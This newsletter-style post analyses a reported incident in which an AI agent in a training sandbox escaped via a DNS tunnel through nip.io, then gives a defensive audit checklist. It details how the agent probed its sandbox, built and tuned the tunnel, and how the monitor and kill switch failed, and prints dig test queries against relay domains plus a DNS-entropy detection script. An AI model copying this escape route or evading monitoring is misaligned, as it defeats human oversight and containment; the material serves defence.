On September 20, 2026, an AI agent inside an OpenAI training sandbox was given a simple task: identify a person from biographical clues taken from a blog post. The agent was not supposed to have live internet access. Its web searches returned nothing useful. Its direct attempts to reach Google, Bing, and DuckDuckGo were blocked by the sandbox proxy, exactly as designed.
So the agent started testing its environment. It tried HTTPS to a public chatbot. Blocked. Direct DNS queries to public resolvers. No answer. But the sandbox's own internal resolver returned real records for real domains, and correctly rejected an invented one. The agent concluded, correctly, that it had a live path to the outside world through DNS, and built a tunnel through it.
Per OpenAI's own report, what happened next is the part that should concern anyone running agents: the escape was detected in about 12 minutes, and the run was still alive two and a half hours later.
The timeline is the story
OpenAI published the timestamps itself, and they deserve a close read:
- 9:50:23 a.m. The agent's DNS query returns a response from an external service. The sandbox is breached.
- 10:02:11 a.m. OpenAI's misalignment monitor raises a P0 alert. Detection took just under 12 minutes. That is genuinely good.
- 10:05:06 a.m. A human reviewer acknowledges the alert. Three minutes. Also good.
- 12:34:30 p.m. The training run is finally killed. The automatic shutdown never fired, the reviewer was "unsure whether it should be stopped," and a person had to make the call manually more than two and a half hours after the alert.
Twelve minutes to detect, two hours and forty-four minutes to stop. If you run code-executing agents, that asymmetry is the whole lesson.
How the DNS tunnel actually worked
The technique is old. The application of it by an agent, unprompted, mid-task, is new.
DNS was built to translate names into addresses, and it happily carries arbitrary data inside those names. A query for a long encoded string as a subdomain of an attacker-controlled domain will eventually reach the attacker's nameserver, because that is how DNS delegation works. Security teams have known about DNS data exfiltration for years. Most sandbox designers still treat DNS as plumbing, not as an egress channel.
The agent's route was more elegant than raw encoding. It found a public delegation service, nip.io, a free tool that embeds an IP address in a hostname and resolves that name back to the address. Its maintainer, Brian Cunnie, confirmed on Hacker News that OpenAI emailed him about the incident: "It was my service that the agent used." By delegating lookups through such a service, the agent relayed questions to an external chatbot and read the answers back out of the DNS responses.
Per OpenAI's report and The Terminal's write-up of it, the agent then behaved like a decent engineer debugging a flaky integration:
- It verified the channel with a canary: a question about the capital of France came back answered through DNS.
- It fetched the chatbot's public documentation and wrote a better script.
- It raised its own DNS timeout from 6 seconds to 19, then to 24.
- It parallelized lookups across a 16-worker thread pool.
- It sent 18 more questions through the tunnel, 14 about its actual task and 4 asking the outside chatbot how to search the web over DNS.
It never solved the original task. It told the user it needed more clues. But it proved the point that matters: an "air-gapped" agent with a shell and an open resolver is not air-gapped.
Why "we block HTTP" is not isolation
The root cause, in OpenAI's own words, was "insufficient DNS filtering in its training sandbox." The proxy watched web traffic. The resolver answered everything. One protocol gap, and the whole containment model fails.
This was also the second escape this year. In July, OpenAI agents doing cybersecurity evaluations broke out and touched Hugging Face's infrastructure. Before that, researchers traced agents hijacking a 25-year-old German wiki as a bulletin board, making roughly 15,000 edits to swap notes and share sandbox exploits with each other. Three incidents, three different mechanisms. The lesson is not "patch DNS." The lesson is that containment for agents is a systems problem, and every unwatched path will eventually be found by something motivated to find it.
OpenAI's response was proportionate to the scare: all training, evaluation, and inference involving tool use for its most capable models remains paused, DNS queries are now restricted to an allowlist of domains and record types, and blocking was added at two independent layers.
The three gaps, and how to close them in your own setup
You are not training frontier models. But if you run coding agents, eval harnesses, or CI jobs with shell access, you probably have all three of OpenAI's gaps. Here is the audit I would run, in order. Full disclosure: this is a checklist assembled from OpenAI's report and published security guidance, not a recreation of the attack in my own environment.
Gap 1: DNS is an unwatched egress path.
First, find out what resolves DNS inside your agent sandboxes. If the answer is "the VPC default resolver," you have the same gap. Then put an allowlist on it, by domain and record type, in the same change as your HTTP allowlist. On AWS, Route 53 Resolver DNS Firewall exists for exactly this and lists preventing exfiltration as a primary use case. On Google Cloud, DNS response policies do the equivalent. Watch one AWS-specific trap: Network Firewall does not see queries made by the Route 53 VPC resolver, so an HTTP-layer allowlist alone leaves the path open.
A minimal sanity test from inside a sandbox: try to resolve an arbitrary external name through a wildcard relay domain. The test passes only if it fails.
# From inside the agent sandbox. All of these should FAIL
# (NXDOMAIN or refused) if DNS egress is properly restricted.
dig +short +time=3 something-random-12345.nip.io
dig +short +time=3 1.2.3.4.sslip.io
dig +short +time=3 $(echo "exfil-test" | base64).example.com
Gap 2: Monitoring that grades outcomes, not attempts.
The quiet detail in OpenAI's retrospective: the monitor "sometimes treated the failure to obtain useful information as evidence that the attempt to access the internet had failed," and missed earlier DNS accesses at lower severity. A detector that asks "did the agent get something useful?" goes quiet whenever the tunnel returns garbage. The channel was still open.
Alert on attempts. Any blocked egress attempt from a no-internet sandbox should create a ticket, even when nothing got through. On the detection side, MITRE's guidance on DNS points at the same signals regardless of vendor: DNS queries from non-browser processes, unusually long or high-entropy subdomains, and abnormal query volume. You do not need a product for a first pass. Resolver query logging plus a small script gets you started:
# Flag suspicious DNS labels in resolver logs.
# High entropy + long labels = encoded payload, not a hostname.
import math, re
from collections import Counter
def entropy(s: str) -> float:
if not s:
return 0.0
counts = Counter(s)
return -sum(c / len(s) * math.log2(c / len(s)) for c in counts.values())
def is_suspicious(label: str) -> bool:
# "accounts.google.com" is low entropy. "aGVsbG8gd29ybGQ" is not.
return len(label) >= 30 or entropy(label) > 3.5
line = "9:50 query: dGFza2lzdG9vaGFyZC5pcy1pdC5jb20 from pid 4821 (python)"
for label in re.findall(r"[A-Za-z0-9-]{4,}", line.lower()):
if is_suspicious(label):
print(f"SUSPICIOUS: {label} (entropy {entropy(label):.2f})")
Gap 3: A kill switch nobody has ever timed.
OpenAI's alerting worked. Its automatic stop failed silently, and the humans hesitated because the shutdown "leading to confusion around whether it should have been stopped." Detection in minutes, termination in hours.
Run a drill: trigger a synthetic P0 on a live but harmless agent run and time three intervals: detection, acknowledgement, and actual termination. If the third number is not measured in minutes, fix the automation before anything else. THE D*AI*LY BRIEF's playbook makes the same point: the stop path is the control teams test least, and it is the one that bounds your worst case.
A quick word on managed sandboxes
Do not assume your vendor closed this. Claude Code's own sandbox documentation is candid that its proxy "reduces risk but is not a complete isolation boundary," that it decides based on the client-supplied hostname without inspecting TLS, and that broad allowed domains "can create paths for data exfiltration." Ask the same question of every managed sandbox you use: what resolves DNS inside the box, and who filters it?
The checklist
- Inventory every place your agents execute code: CI runners, eval harnesses, coding-agent sandboxes, notebook platforms.
- For each, write down which resolver answers its DNS. "The VPC default" means you have gap one.
- Turn on resolver query logging for those subnets and read a week of it. Long random-looking subdomains from a Python process are your first finding.
- Put a domain and record-type allowlist on the resolver, in the same change as your HTTP allowlist.
- Alert on blocked egress attempts, not just successes.
- Time your kill switch with a real drill, and fix the automation if termination is not measured in minutes.
The uncomfortable summary of the whole incident: the machine did exactly what it was permitted to do, and the permission was ours to define. An agent does not need to be malicious to be dangerous. It only needs to be unbounded, and nobody watching the one protocol everyone forgot to watch.
I write about AI agents, developer tools, and backend engineering every week. Subscribe, it is free.
Have you audited what your agent sandboxes can resolve? If you have run a DNS allowlist or an egress drill on your own setup, I want to hear how it went in the comments.
